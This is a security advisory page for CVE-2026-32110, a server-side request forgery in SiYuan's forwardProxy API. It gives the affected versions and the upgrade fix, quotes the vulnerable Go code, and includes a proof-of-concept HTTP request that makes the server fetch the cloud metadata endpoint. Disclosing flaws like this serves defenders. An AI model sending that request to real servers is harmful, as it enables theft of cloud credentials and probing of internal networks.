---
id: "CVE-2026-32110"
page: "https://infrastack.ai/live/CVE-2026-32110"
kind: "vulnerability"
aliases: ["CVE-2026-32110", "GHSA-56cv-c5p2-j2wg"]
title: "SiYuan has a Full-Read SSRF via /api/network/forwardProxy"
severity: "high"
cvss: 8.3
epss: 0.00354
exploited: false
status: "open"
category: "package"
products: [{"name": "github.com/siyuan-note/siyuan/kernel", "fixed": ["3.6.0"], "affected": "<= 3.5.9", "ecosystem": "go"}, {"name": "b3log siyuan", "fixed": ["3.6.0"], "affected": "< 3.6.0", "ecosystem": "vendor"}]
ecosystems: ["go", "vendor"]
tags: ["cloud", "cwe-918", "package", "self-hosted", "siyuan"]
not_affected_if: ["auth-required", "version-3.6.0-or-later"]
published_at: "2026-03-11T21:16:17+00:00"
first_seen_at: "2026-11-05T21:34:22+00:00"
updated_at: "2026-11-05T21:40:46+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-56cv-c5p2-j2wg", "first_seen_at": "2026-11-05T21:34:22+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32110", "first_seen_at": "2026-11-05T21:40:46+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.00354, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-32110"}]
---

# SiYuan has a Full-Read SSRF via /api/network/forwardProxy

Link for people: https://infrastack.ai/live/CVE-2026-32110 (this .md is for agents)

SiYuan's /api/network/forwardProxy endpoint sends HTTP requests to any URL a logged-in user supplies and returns the full response. An attacker can use the server to reach localhost, internal services and cloud metadata endpoints.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/siyuan-note/siyuan/kernel affected <= 3.5.9 fixed 3.6.0
- vendor:b3log siyuan affected < 3.6.0 fixed 3.6.0

## How to check

- Check the SiYuan kernel version: `unknown` for the install method, but the affected range is versions up to and including `3.5.9`
- Confirm whether the instance is reachable by people beyond the owner (access auth code set and exposed to a network)

## Fix

- Upgrade SiYuan kernel to `3.6.0` or later

## Timeline

- 2026-11-05T21:34:22+00:00 ghsa https://github.com/advisories/GHSA-56cv-c5p2-j2wg
- 2026-11-05T21:40:46+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-32110

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/siyuan-note/siyuan/security-advisories/GHSA-56cv-c5p2-j2wg
- [advisory] Maintainer's advisory: github.com https://github.com/siyuan-note/siyuan/security/advisories/GHSA-56cv-c5p2-j2wg
- [fix] Patch: github.com https://github.com/siyuan-note/siyuan/commit/3284e10028de39c8afc21b020498144714503fe1

## From the sources

### Summary
The `/api/network/forwardProxy` endpoint allows authenticated users to make arbitrary HTTP requests from the server. The endpoint accepts a user-controlled URL and makes HTTP requests to it, returning the full response body and headers. There is no URL validation to prevent requests to internal networks, localhost, or cloud metadata services.

### Affected Code
File: `/kernel/api/network.go` (Lines `153-317`)
```
func forwardProxy(c *gin.Context) {
    ret := gulu.Ret.NewResult()
    defer c.JSON(http.StatusOK, ret)

    arg, ok := util.JsonArg(c, ret)
    if !ok {
        return
    }

    destURL := arg["url"].(string)
    // VULNERABILITY: Only validates URL format, not destination
    if _, e := url.ParseRequestURI(destURL); nil != e {
        ret.Code = -1
        ret.Msg = "invalid [url]"
        return
    }

    // ... HTTP request is made to user-controlled URL ...
    resp, err := request.Send(method, destURL)
    
    // Full response body is returned to the user
    bodyData, err := io.ReadAll(resp.Body)
    // ...
    ret.Data = data  // Contains full response body
}
```
### PoC
- First, authenticate with your access auth code and copy the authenticated cookie.
- Now use the request below for SSRF to Access Cloud Metadata.
```
POST /api/network/forwardProxy HTTP/1.1
Host: <HOST>
Cookie: siyuan=<COOKIE>
Content-Length: 102

{"url":"http://169.254.169.254/metadata/v1/","method":"GET","headers":[],"payload":"","timeout":7000}'
```
<img width="1230" height="754" alt="Screenshot 2026-03-11 at 1 23 36 AM" src="https://github.com/user-attachments/assets/60486dba-1ccd-4287-8073-b803854756a2" />

### Impact
- Internal Network Reconnaissance: Attackers can scan internal services
- Cloud Credential Theft: Potential access to cloud metadata and IAM credentials
- Data Exfiltration: Server can be used as a proxy to access internal resources
- Firewall Bypass: Requests originate from trusted internal IP

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_